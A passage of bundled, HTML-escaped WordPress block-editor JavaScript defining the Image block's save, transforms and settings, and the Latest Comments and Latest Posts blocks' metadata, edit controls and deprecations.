      &quot;has-custom-border&quot;: !!borderProps.className || borderProps.style &amp;&amp; Object.keys(borderProps.style).length &gt; 0
    });
    const imageClasses = clsx_default(borderProps.className, {
      [`wp-image-${id}`]: !!id
    });
    const image = /* @__PURE__ */ (0, import_jsx_runtime281.jsx)(
      &quot;img&quot;,
      {
        src: url,
        alt,
        className: imageClasses || void 0,
        style: {
          ...borderProps.style,
          ...shadowProps.style,
          aspectRatio,
          objectFit: scale,
          objectPosition: focalPoint &amp;&amp; scale ? mediaPosition2(focalPoint) : void 0,
          width,
          height
        },
        title
      }
    );
    const displayCaption = !import_block_editor114.RichText.isEmpty(caption) || bindings.caption || bindings?.__default?.source === &quot;core/pattern-overrides&quot;;
    const figure = /* @__PURE__ */ (0, import_jsx_runtime281.jsxs)(import_jsx_runtime281.Fragment, { children: [
      href ? /* @__PURE__ */ (0, import_jsx_runtime281.jsx)(
        &quot;a&quot;,
        {
          className: linkClass,
          href,
          target: linkTarget,
          rel: newRel,
          children: image
        }
      ) : image,
      displayCaption &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime281.jsx)(
        import_block_editor114.RichText.Content,
        {
          className: (0, import_block_editor114.__experimentalGetElementClassName)(&quot;caption&quot;),
          tagName: &quot;figcaption&quot;,
          value: caption
        }
      )
    ] });
    return /* @__PURE__ */ (0, import_jsx_runtime281.jsx)(&quot;figure&quot;, { ...import_block_editor114.useBlockProps.save({ className: classes }), children: figure });
  }

  // packages/block-library/build-module/image/transforms.mjs
  var import_blob13 = __toESM(require_blob(), 1);
  var import_blocks39 = __toESM(require_blocks(), 1);
  function stripFirstImage(attributes2, { shortcode }) {
    const { body } = document.implementation.createHTMLDocument(&quot;&quot;);
    body.innerHTML = shortcode.content;
    let nodeToRemove = body.querySelector(&quot;img&quot;);
    while (nodeToRemove &amp;&amp; nodeToRemove.parentNode &amp;&amp; nodeToRemove.parentNode !== body) {
      nodeToRemove = nodeToRemove.parentNode;
    }
    if (nodeToRemove) {
      nodeToRemove.parentNode.removeChild(nodeToRemove);
    }
    return body.innerHTML.trim();
  }
  function getFirstAnchorAttributeFormHTML(html, attributeName) {
    const { body } = document.implementation.createHTMLDocument(&quot;&quot;);
    body.innerHTML = html;
    const { firstElementChild } = body;
    if (firstElementChild &amp;&amp; firstElementChild.nodeName === &quot;A&quot;) {
      return firstElementChild.getAttribute(attributeName) || void 0;
    }
  }
  var imageSchema = {
    img: {
      attributes: [&quot;src&quot;, &quot;alt&quot;, &quot;title&quot;],
      classes: [
        &quot;alignleft&quot;,
        &quot;aligncenter&quot;,
        &quot;alignright&quot;,
        &quot;alignnone&quot;,
        /^wp-image-\d+$/
      ]
    }
  };
  var schema = ({ phrasingContentSchema }) =&gt; ({
    figure: {
      require: [&quot;img&quot;],
      children: {
        ...imageSchema,
        a: {
          attributes: [&quot;href&quot;, &quot;rel&quot;, &quot;target&quot;],
          classes: [&quot;*&quot;],
          children: imageSchema
        },
        figcaption: {
          children: phrasingContentSchema
        }
      }
    }
  });
  var transforms13 = {
    from: [
      {
        type: &quot;raw&quot;,
        isMatch: (node) =&gt; node.nodeName === &quot;FIGURE&quot; &amp;&amp; !!node.querySelector(&quot;img&quot;),
        schema,
        transform: (node) =&gt; {
          const className = node.className + &quot; &quot; + node.querySelector(&quot;img&quot;).className;
          const alignMatches = /(?:^|\s)align(left|center|right)(?:$|\s)/.exec(
            className
          );
          const anchor = node.id === &quot;&quot; ? void 0 : node.id;
          const align = alignMatches ? alignMatches[1] : void 0;
          const idMatches = /(?:^|\s)wp-image-(\d+)(?:$|\s)/.exec(
            className
          );
          const id = idMatches ? Number(idMatches[1]) : void 0;
          const anchorElement = node.querySelector(&quot;a&quot;);
          const linkDestination = anchorElement &amp;&amp; anchorElement.href ? &quot;custom&quot; : void 0;
          const href = anchorElement &amp;&amp; anchorElement.href ? anchorElement.href : void 0;
          const rel = anchorElement &amp;&amp; anchorElement.rel ? anchorElement.rel : void 0;
          const linkClass = anchorElement &amp;&amp; anchorElement.className ? anchorElement.className : void 0;
          const attributes2 = (0, import_blocks39.getBlockAttributes)(
            &quot;core/image&quot;,
            node.outerHTML,
            {
              align,
              id,
              linkDestination,
              href,
              rel,
              linkClass,
              anchor
            }
          );
          if ((0, import_blob13.isBlobURL)(attributes2.url)) {
            attributes2.blob = attributes2.url;
            delete attributes2.url;
          }
          return (0, import_blocks39.createBlock)(&quot;core/image&quot;, attributes2);
        }
      },
      {
        // Note: when dragging and dropping multiple files onto a gallery this overrides the
        // gallery transform in order to add new images to the gallery instead of
        // creating a new gallery.
        type: &quot;files&quot;,
        isMatch(files) {
          return files.every(
            (file) =&gt; file.type.indexOf(&quot;image/&quot;) === 0
          );
        },
        transform(files) {
          const blocks = files.map((file) =&gt; {
            return (0, import_blocks39.createBlock)(&quot;core/image&quot;, {
              blob: (0, import_blob13.createBlobURL)(file)
            });
          });
          return blocks;
        }
      },
      {
        type: &quot;shortcode&quot;,
        tag: &quot;caption&quot;,
        attributes: {
          url: {
            type: &quot;string&quot;,
            source: &quot;attribute&quot;,
            attribute: &quot;src&quot;,
            selector: &quot;img&quot;
          },
          alt: {
            type: &quot;string&quot;,
            source: &quot;attribute&quot;,
            attribute: &quot;alt&quot;,
            selector: &quot;img&quot;
          },
          caption: {
            shortcode: stripFirstImage
          },
          href: {
            shortcode: (attributes2, { shortcode }) =&gt; {
              return getFirstAnchorAttributeFormHTML(
                shortcode.content,
                &quot;href&quot;
              );
            }
          },
          rel: {
            shortcode: (attributes2, { shortcode }) =&gt; {
              return getFirstAnchorAttributeFormHTML(
                shortcode.content,
                &quot;rel&quot;
              );
            }
          },
          linkClass: {
            shortcode: (attributes2, { shortcode }) =&gt; {
              return getFirstAnchorAttributeFormHTML(
                shortcode.content,
                &quot;class&quot;
              );
            }
          },
          id: {
            type: &quot;number&quot;,
            shortcode: ({ named: { id } }) =&gt; {
              if (!id) {
                return;
              }
              return parseInt(id.replace(&quot;attachment_&quot;, &quot;&quot;), 10);
            }
          },
          align: {
            type: &quot;string&quot;,
            shortcode: ({ named: { align = &quot;alignnone&quot; } }) =&gt; {
              return align.replace(&quot;align&quot;, &quot;&quot;);
            }
          }
        }
      }
    ]
  };
  var transforms_default14 = transforms13;

  // packages/block-library/build-module/image/index.mjs
  var { fieldsKey: fieldsKey8, formKey: formKey8 } = unlock(import_blocks40.privateApis);
  var { name: name44 } = block_default44;
  var settings44 = {
    icon: image_default,
    example: {
      attributes: {
        sizeSlug: &quot;large&quot;,
        url: &quot;https://s.w.org/images/core/5.3/MtBlanc1.jpg&quot;,
        // translators: Caption accompanying an image of the Mont Blanc, which serves as an example for the Image block.
        caption: (0, import_i18n95.__)(&quot;Mont Blanc appears\u2014still, snowy, and serene.&quot;)
      }
    },
    __experimentalLabel(attributes2, { context }) {
      const customName = attributes2?.metadata?.name;
      if ((context === &quot;list-view&quot; || context === &quot;breadcrumb&quot;) &amp;&amp; customName) {
        return customName;
      }
      if (context === &quot;accessibility&quot;) {
        const { caption, alt, url } = attributes2;
        if (!url) {
          return (0, import_i18n95.__)(&quot;Empty&quot;);
        }
        if (!alt) {
          return caption || &quot;&quot;;
        }
        return alt + (caption ? &quot;. &quot; + caption : &quot;&quot;);
      }
    },
    getEditWrapperProps(attributes2) {
      return {
        &quot;data-align&quot;: attributes2.align
      };
    },
    transforms: transforms_default14,
    edit: edit_default18,
    save: save26,
    deprecated: deprecated_default22
  };
  if (window.__experimentalContentOnlyInspectorFields) {
    settings44[fieldsKey8] = [
      {
        id: &quot;image&quot;,
        label: (0, import_i18n95.__)(&quot;Image&quot;),
        type: &quot;media&quot;,
        Edit: {
          control: &quot;media&quot;,
          // TODO: replace with custom component
          allowedTypes: [&quot;image&quot;],
          multiple: false
        },
        getValue: ({ item }) =&gt; ({
          id: item.id,
          url: item.url,
          alt: item.alt,
          caption: item.caption
        }),
        setValue: ({ value }) =&gt; ({
          id: value.id,
          url: value.url,
          alt: value.alt,
          caption: value.caption
        })
      },
      {
        id: &quot;link&quot;,
        label: (0, import_i18n95.__)(&quot;Link&quot;),
        type: &quot;url&quot;,
        Edit: &quot;link&quot;,
        // TODO: replace with custom component
        getValue: ({ item }) =&gt; ({
          url: item.href,
          rel: item.rel,
          linkTarget: item.linkTarget
        }),
        setValue: ({ value }) =&gt; ({
          href: value.url,
          rel: value.rel,
          linkTarget: value.linkTarget
        })
      },
      {
        id: &quot;caption&quot;,
        label: (0, import_i18n95.__)(&quot;Caption&quot;),
        type: &quot;text&quot;,
        Edit: &quot;rich-text&quot;
        // TODO: replace with custom component
      },
      {
        id: &quot;alt&quot;,
        label: (0, import_i18n95.__)(&quot;Alt text&quot;),
        type: &quot;text&quot;
      }
    ];
    settings44[formKey8] = {
      fields: [&quot;image&quot;, &quot;link&quot;, &quot;caption&quot;, &quot;alt&quot;]
    };
  }
  var init44 = () =&gt; initBlock({ name: name44, metadata: block_default44, settings: settings44 });

  // packages/block-library/build-module/latest-comments/index.mjs
  var latest_comments_exports = {};
  __export(latest_comments_exports, {
    init: () =&gt; init45,
    metadata: () =&gt; block_default45,
    name: () =&gt; name45,
    settings: () =&gt; settings45
  });

  // packages/block-library/build-module/latest-comments/block.json
  var block_default45 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/latest-comments&quot;,
    title: &quot;Latest Comments&quot;,
    category: &quot;widgets&quot;,
    description: &quot;Display a list of your most recent comments.&quot;,
    keywords: [&quot;recent comments&quot;],
    textdomain: &quot;default&quot;,
    attributes: {
      commentsToShow: {
        type: &quot;number&quot;,
        default: 5,
        minimum: 1,
        maximum: 100
      },
      displayAvatar: {
        type: &quot;boolean&quot;,
        default: true
      },
      displayDate: {
        type: &quot;boolean&quot;,
        default: true
      },
      displayContent: {
        type: &quot;string&quot;,
        default: &quot;excerpt&quot;,
        enum: [&quot;none&quot;, &quot;excerpt&quot;, &quot;full&quot;]
      }
    },
    supports: {
      anchor: true,
      align: true,
      color: {
        gradients: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true,
          link: true
        }
      },
      html: false,
      spacing: {
        margin: true,
        padding: true
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      }
    },
    style: &quot;wp-block-latest-comments&quot;
  };

  // packages/block-library/build-module/latest-comments/edit.mjs
  var import_block_editor115 = __toESM(require_block_editor(), 1);
  var import_components58 = __toESM(require_components(), 1);
  var import_i18n96 = __toESM(require_i18n(), 1);
  var import_server_side_render4 = __toESM(require_server_side_render(), 1);
  var import_compose25 = __toESM(require_compose(), 1);
  var import_jsx_runtime282 = __toESM(require_jsx_runtime(), 1);
  var MIN_COMMENTS = 1;
  var MAX_COMMENTS = 100;
  function LatestComments({ attributes: attributes2, setAttributes, name: name123 }) {
    const { commentsToShow, displayAvatar, displayDate, displayContent } = attributes2;
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    const { content, status, error } = (0, import_server_side_render4.useServerSideRender)({
      attributes: attributes2,
      skipBlockSupportAttributes: true,
      block: name123,
      urlQueryArgs: {
        // The preview uses the site&#039;s locale to make it more true to how
        // the block appears on the frontend. Setting the locale
        // explicitly prevents any middleware from setting it to &#039;user&#039;.
        _locale: &quot;site&quot;
      }
    });
    const disabledRef = (0, import_compose25.useDisabled)();
    const blockProps = (0, import_block_editor115.useBlockProps)({ ref: disabledRef });
    return /* @__PURE__ */ (0, import_jsx_runtime282.jsxs)(import_jsx_runtime282.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime282.jsx)(import_block_editor115.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime282.jsxs)(
        import_components58.__experimentalToolsPanel,
        {
          label: (0, import_i18n96.__)(&quot;Settings&quot;),
          resetAll: () =&gt; {
            setAttributes({
              commentsToShow: 5,
              displayAvatar: true,
              displayDate: true,
              displayContent: &quot;excerpt&quot;
            });
          },
          dropdownMenuProps,
          children: [
            /* @__PURE__ */ (0, import_jsx_runtime282.jsx)(
              import_components58.__experimentalToolsPanelItem,
              {
                hasValue: () =&gt; !displayAvatar,
                label: (0, import_i18n96.__)(&quot;Display avatar&quot;),
                onDeselect: () =&gt; setAttributes({ displayAvatar: true }),
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime282.jsx)(
                  import_components58.ToggleControl,
                  {
                    label: (0, import_i18n96.__)(&quot;Display avatar&quot;),
                    checked: displayAvatar,
                    onChange: () =&gt; setAttributes({
                      displayAvatar: !displayAvatar
                    })
                  }
                )
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime282.jsx)(
              import_components58.__experimentalToolsPanelItem,
              {
                hasValue: () =&gt; !displayDate,
                label: (0, import_i18n96.__)(&quot;Display date&quot;),
                onDeselect: () =&gt; setAttributes({ displayDate: true }),
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime282.jsx)(
                  import_components58.ToggleControl,
                  {
                    label: (0, import_i18n96.__)(&quot;Display date&quot;),
                    checked: displayDate,
                    onChange: () =&gt; setAttributes({ displayDate: !displayDate })
                  }
                )
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime282.jsx)(
              import_components58.__experimentalToolsPanelItem,
              {
                hasValue: () =&gt; displayContent !== &quot;excerpt&quot;,
                label: (0, import_i18n96.__)(&quot;Display content&quot;),
                onDeselect: () =&gt; setAttributes({ displayContent: &quot;excerpt&quot; }),
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime282.jsx)(
                  import_components58.SelectControl,
                  {
                    __next40pxDefaultSize: true,
                    label: (0, import_i18n96.__)(&quot;Display content&quot;),
                    value: displayContent,
                    options: [
                      { label: (0, import_i18n96.__)(&quot;No content&quot;), value: &quot;none&quot; },
                      { label: (0, import_i18n96.__)(&quot;Excerpt&quot;), value: &quot;excerpt&quot; },
                      { label: (0, import_i18n96.__)(&quot;Full content&quot;), value: &quot;full&quot; }
                    ],
                    onChange: (value) =&gt; setAttributes({
                      displayContent: value
                    })
                  }
                )
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime282.jsx)(
              import_components58.__experimentalToolsPanelItem,
              {
                hasValue: () =&gt; commentsToShow !== 5,
                label: (0, import_i18n96.__)(&quot;Number of comments&quot;),
                onDeselect: () =&gt; setAttributes({ commentsToShow: 5 }),
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime282.jsx)(
                  import_components58.RangeControl,
                  {
                    __next40pxDefaultSize: true,
                    label: (0, import_i18n96.__)(&quot;Number of comments&quot;),
                    value: commentsToShow,
                    onChange: (value) =&gt; setAttributes({ commentsToShow: value }),
                    min: MIN_COMMENTS,
                    max: MAX_COMMENTS,
                    required: true
                  }
                )
              }
            )
          ]
        }
      ) }),
      status === &quot;loading&quot; &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime282.jsx)(&quot;div&quot;, { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime282.jsx)(import_components58.Spinner, {}) }),
      status === &quot;error&quot; &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime282.jsx)(&quot;div&quot;, { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime282.jsx)(&quot;p&quot;, { children: (0, import_i18n96.sprintf)(
        /* translators: %s: error message returned when rendering the block. */
        (0, import_i18n96.__)(&quot;Error: %s&quot;),
        error
      ) }) }),
      status === &quot;success&quot; &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime282.jsx)(html_renderer_default, { wrapperProps: blockProps, html: content })
    ] });
  }

  // packages/block-library/build-module/latest-comments/deprecated.mjs
  var v120 = {
    attributes: {
      commentsToShow: {
        type: &quot;number&quot;,
        default: 5,
        minimum: 1,
        maximum: 100
      },
      displayAvatar: {
        type: &quot;boolean&quot;,
        default: true
      },
      displayDate: {
        type: &quot;boolean&quot;,
        default: true
      },
      displayExcerpt: {
        type: &quot;boolean&quot;,
        default: true
      }
    },
    supports: {
      align: true,
      color: {
        gradients: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true,
          link: true
        }
      },
      html: false,
      spacing: {
        margin: true,
        padding: true
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      }
    },
    isEligible(attributes2) {
      return attributes2?.displayExcerpt === false;
    },
    migrate(attributes2) {
      return {
        ...attributes2,
        displayContent: attributes2.displayExcerpt ? &quot;excerpt&quot; : &quot;none&quot;
      };
    }
  };
  var deprecated_default23 = [v120];

  // packages/block-library/build-module/latest-comments/index.mjs
  var { name: name45 } = block_default45;
  var settings45 = {
    icon: comment_default,
    example: {},
    edit: LatestComments,
    deprecated: deprecated_default23
  };
  var init45 = () =&gt; initBlock({ name: name45, metadata: block_default45, settings: settings45 });

  // packages/block-library/build-module/latest-posts/index.mjs
  var latest_posts_exports = {};
  __export(latest_posts_exports, {
    init: () =&gt; init46,
    metadata: () =&gt; block_default46,
    name: () =&gt; name46,
    settings: () =&gt; settings46
  });

  // packages/block-library/build-module/latest-posts/block.json
  var block_default46 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/latest-posts&quot;,
    title: &quot;Latest Posts&quot;,
    category: &quot;widgets&quot;,
    description: &quot;Display a list of your most recent posts.&quot;,
    keywords: [&quot;recent posts&quot;],
    textdomain: &quot;default&quot;,
    attributes: {
      categories: {
        type: &quot;array&quot;,
        items: {
          type: &quot;object&quot;
        }
      },
      selectedAuthor: {
        type: &quot;number&quot;
      },
      postsToShow: {
        type: &quot;number&quot;,
        default: 5
      },
      displayPostContent: {
        type: &quot;boolean&quot;,
        default: false
      },
      displayPostContentRadio: {
        type: &quot;string&quot;,
        default: &quot;excerpt&quot;
      },
      excerptLength: {
        type: &quot;number&quot;,
        default: 55
      },
      displayAuthor: {
        type: &quot;boolean&quot;,
        default: false
      },
      displayPostDate: {
        type: &quot;boolean&quot;,
        default: false
      },
      postLayout: {
        type: &quot;string&quot;,
        default: &quot;list&quot;
      },
      columns: {
        type: &quot;number&quot;,
        default: 3
      },
      order: {
        type: &quot;string&quot;,
        default: &quot;desc&quot;
      },
      orderBy: {
        type: &quot;string&quot;,
        default: &quot;date&quot;
      },
      displayFeaturedImage: {
        type: &quot;boolean&quot;,
        default: false
      },
      featuredImageAlign: {
        type: &quot;string&quot;,
        enum: [&quot;left&quot;, &quot;center&quot;, &quot;right&quot;]
      },
      featuredImageSizeSlug: {
        type: &quot;string&quot;,
        default: &quot;thumbnail&quot;
      },
      featuredImageSizeWidth: {
        type: &quot;number&quot;,
        default: null
      },
      featuredImageSizeHeight: {
        type: &quot;number&quot;,
        default: null
      },
      addLinkToFeaturedImage: {
        type: &quot;boolean&quot;,
        default: false
      }
    },
    supports: {
      anchor: true,
      align: true,
      html: false,
      color: {
        gradients: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true,
          link: true
        }
      },
      spacing: {
        margin: true,
        padding: true
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true,
        __experimentalDefaultControls: {
          radius: true,
          color: true,
          width: true,
          style: true
        }
      },
      interactivity: {
        clientNavigation: true
      }
    },
    editorStyle: &quot;wp-block-latest-posts-editor&quot;,
    style: &quot;wp-block-latest-posts&quot;
  };

  // packages/block-library/build-module/latest-posts/deprecated.mjs
  var { attributes } = block_default46;
  var deprecated_default24 = [
    {
      attributes: {
        ...attributes,
        categories: {
          type: &quot;string&quot;
        }
      },
      supports: {
        align: true,
        html: false
      },
      migrate: (oldAttributes) =&gt; {
        return {
          ...oldAttributes,
          categories: [{ id: Number(oldAttributes.categories) }]
        };
      },
      isEligible: ({ categories }) =&gt; categories &amp;&amp; &quot;string&quot; === typeof categories,
      save: () =&gt; null
    }
  ];

  // packages/block-library/build-module/latest-posts/edit.mjs
  var import_components59 = __toESM(require_components(), 1);
  var import_i18n97 = __toESM(require_i18n(), 1);
  var import_date2 = __toESM(require_date(), 1);
  var import_block_editor116 = __toESM(require_block_editor(), 1);
  var import_data49 = __toESM(require_data(), 1);
  var import_core_data24 = __toESM(require_core_data(), 1);
  var import_notices9 = __toESM(require_notices(), 1);
  var import_compose26 = __toESM(require_compose(), 1);
  var import_element46 = __toESM(require_element(), 1);

  // packages/block-library/build-module/latest-posts/constants.mjs
  var MIN_EXCERPT_LENGTH = 10;
  var MAX_EXCERPT_LENGTH = 100;
  var MAX_POSTS_COLUMNS = 6;
  var DEFAULT_EXCERPT_LENGTH = 55;

  // packages/block-library/build-module/latest-posts/edit.mjs
  var import_jsx_runtime283 = __toESM(require_jsx_runtime(), 1);
  var CATEGORIES_LIST_QUERY = {
    per_page: -1,
    _fields: &quot;id,name&quot;,
    context: &quot;view&quot;
  };
  var USERS_LIST_QUERY = {
    per_page: -1,
    has_published_posts: [&quot;post&quot;],
    context: &quot;view&quot;
  };
  var imageAlignmentOptions = [
    {
      value: &quot;none&quot;,
      icon: align_none_default,
      label: (0, import_i18n97.__)(&quot;None&quot;)
    },
    {
      value: &quot;left&quot;,
      icon: position_left_default,
      label: (0, import_i18n97.__)(&quot;Left&quot;)
    },
    {
      value: &quot;center&quot;,
      icon: position_center_default,
      label: (0, import_i18n97.__)(&quot;Center&quot;)
    },
    {
      value: &quot;right&quot;,
      icon: position_right_default,
      label: (0, import_i18n97.__)(&quot;Right&quot;)
    }
  ];
  function getFeaturedImageDetails(post, size) {
    const image = post._embedded?.[&quot;wp:featuredmedia&quot;]?.[&quot;0&quot;];
    return {
      url: image?.media_details?.sizes?.[size]?.source_url ?? image?.source_url,
      alt: image?.alt_text
    };
  }
  function getCurrentAuthor(post) {
    return post._embedded?.author?.[0];
  }
  function Controls({ attributes: attributes2, setAttributes, postCount }) {
    const {
      postsToShow,
      order,
      orderBy,
      categories,
      selectedAuthor,
      displayFeaturedImage,
      displayPostContentRadio,
      displayPostContent,
      displayPostDate,
      displayAuthor,
      postLayout,
      columns,
      excerptLength,
      featuredImageAlign,
      featuredImageSizeSlug,
      featuredImageSizeWidth,
      featuredImageSizeHeight,
      addLinkToFeaturedImage
    } = attributes2;
    const {
      imageSizes,
      defaultImageWidth,
      defaultImageHeight,
      categoriesList,
      authorList
    } = (0, import_data49.useSelect)(
      (select9) =&gt; {
        const { getEntityRecords, getUsers } = select9(import_core_data24.store);
        const settings122 = select9(import_block_editor116.store).getSettings();
        return {
          defaultImageWidth: settings122.imageDimensions?.[featuredImageSizeSlug]?.width ?? 0,
          defaultImageHeight: settings122.imageDimensions?.[featuredImageSizeSlug]?.height ?? 0,
          imageSizes: settings122.imageSizes,
          categoriesList: getEntityRecords(
            &quot;taxonomy&quot;,
            &quot;category&quot;,
            CATEGORIES_LIST_QUERY
          ),
          authorList: getUsers(USERS_LIST_QUERY)
        };
      },
      [featuredImageSizeSlug]
    );
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    const imageSizeOptions = imageSizes.filter(({ slug }) =&gt; slug !== &quot;full&quot;).map(({ name: name123, slug }) =&gt; ({
      value: slug,
      label: name123
    }));
    const categorySuggestions = categoriesList?.reduce(
      (accumulator, category) =&gt; ({
        ...accumulator,
        [category.name]: category
      }),
      {}
    ) ?? {};
    const selectCategories = (tokens) =&gt; {
      const hasNoSuggestion = tokens.some(
        (token) =&gt; typeof token === &quot;string&quot; &amp;&amp; !categorySuggestions[token]
      );
      if (hasNoSuggestion) {
        return;
      }
      const allCategories = tokens.map((token) =&gt; {
        return typeof token === &quot;string&quot; ? categorySuggestions[token] : token;
      });
      if (allCategories.includes(null)) {
        return false;
      }
      setAttributes({ categories: allCategories });
    };
    return /* @__PURE__ */ (0, import_jsx_runtime283.jsxs)(import_jsx_runtime283.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime283.jsxs)(
        import_components59.__experimentalToolsPanel,
        {
          label: (0, import_i18n97.__)(&quot;Post content&quot;),
          resetAll: () =&gt; setAttributes({
            displayPostContent: false,
            displayPostContentRadio: &quot;excerpt&quot;,
            excerptLength: DEFAULT_EXCERPT_LENGTH
          }),
          dropdownMenuProps,
          children: [
            /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(
              import_components59.__experimentalToolsPanelItem,
              {
                hasValue: () =&gt; !!displayPostContent,
                label: (0, import_i18n97.__)(&quot;Display post content&quot;),
                onDeselect: () =&gt; setAttributes({ displayPostContent: false }),
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(
                  import_components59.ToggleControl,
                  {
                    label: (0, import_i18n97.__)(&quot;Display post content&quot;),
                    checked: displayPostContent,
                    onChange: (value) =&gt; setAttributes({ displayPostContent: value })
                  }
                )
              }
            ),
            displayPostContent &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(
              import_components59.__experimentalToolsPanelItem,
              {
                hasValue: () =&gt; displayPostContentRadio !== &quot;excerpt&quot;,
                label: (0, import_i18n97.__)(&quot;Content length&quot;),
                onDeselect: () =&gt; setAttributes({
                  displayPostContentRadio: &quot;excerpt&quot;
                }),
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(
                  import_components59.RadioControl,
                  {
                    label: (0, import_i18n97.__)(&quot;Content length&quot;),
                    selected: displayPostContentRadio,
                    options: [
                      { label: (0, import_i18n97.__)(&quot;Excerpt&quot;), value: &quot;excerpt&quot; },
                      {
                        label: (0, import_i18n97.__)(&quot;Full post&quot;),
                        value: &quot;full_post&quot;
                      }
                    ],
                    onChange: (value) =&gt; setAttributes({
                      displayPostContentRadio: value
                    })
                  }
                )
              }
            ),
            displayPostContent &amp;&amp; displayPostContentRadio === &quot;excerpt&quot; &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(
              import_components59.__experimentalToolsPanelItem,
              {
                hasValue: () =&gt; excerptLength !== DEFAULT_EXCERPT_LENGTH,
                label: (0, import_i18n97.__)(&quot;Max number of words&quot;),
                onDeselect: () =&gt; setAttributes({
                  excerptLength: DEFAULT_EXCERPT_LENGTH
                }),
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(
                  import_components59.RangeControl,
                  {
                    __next40pxDefaultSize: true,
                    label: (0, import_i18n97.__)(&quot;Max number of words&quot;),
                    value: excerptLength,
                    onChange: (value) =&gt; setAttributes({ excerptLength: value }),
                    min: MIN_EXCERPT_LENGTH,
                    max: MAX_EXCERPT_LENGTH
                  }
                )
              }
            )
          ]
        }
      ),
      /* @__PURE__ */ (0, import_jsx_runtime283.jsxs)(
        import_components59.__experimentalToolsPanel,
        {
          label: (0, import_i18n97.__)(&quot;Post meta&quot;),
          resetAll: () =&gt; setAttributes({
            displayAuthor: false,
            displayPostDate: false
          }),
          dropdownMenuProps,
          children: [
            /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(
              import_components59.__experimentalToolsPanelItem,
              {
                hasValue: () =&gt; !!displayAuthor,
                label: (0, import_i18n97.__)(&quot;Display author name&quot;),
                onDeselect: () =&gt; setAttributes({ displayAuthor: false }),
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(
                  import_components59.ToggleControl,
                  {
                    label: (0, import_i18n97.__)(&quot;Display author name&quot;),
                    checked: displayAuthor,
                    onChange: (value) =&gt; setAttributes({ displayAuthor: value })
                  }
                )
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(
              import_components59.__experimentalToolsPanelItem,
              {
                hasValue: () =&gt; !!displayPostDate,
                label: (0, import_i18n97.__)(&quot;Display post date&quot;),
                onDeselect: () =&gt; setAttributes({ displayPostDate: false }),
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(
                  import_components59.ToggleControl,
                  {
                    label: (0, import_i18n97.__)(&quot;Display post date&quot;),
                    checked: displayPostDate,
                    onChange: (value) =&gt; setAttributes({ displayPostDate: value })
                  }
                )
              }
            )
          ]
        }
      ),
      /* @__PURE__ */ (0, import_jsx_runtime283.jsxs)(
        import_components59.__experimentalToolsPanel,
        {
          label: (0, import_i18n97.__)(&quot;Featured image&quot;),
          resetAll: () =&gt; setAttributes({
            displayFeaturedImage: false,
            featuredImageAlign: void 0,
            featuredImageSizeSlug: &quot;thumbnail&quot;,
            featuredImageSizeWidth: null,
            featuredImageSizeHeight: null,
            addLinkToFeaturedImage: false
          }),
          dropdownMenuProps,
          children: [
            /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(
              import_components59.__experimentalToolsPanelItem,
              {
                hasValue: () =&gt; !!displayFeaturedImage,
                label: (0, import_i18n97.__)(&quot;Display featured image&quot;),
                onDeselect: () =&gt; setAttributes({ displayFeaturedImage: false }),
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(
                  import_components59.ToggleControl,
                  {
                    label: (0, import_i18n97.__)(&quot;Display featured image&quot;),
                    checked: displayFeaturedImage,
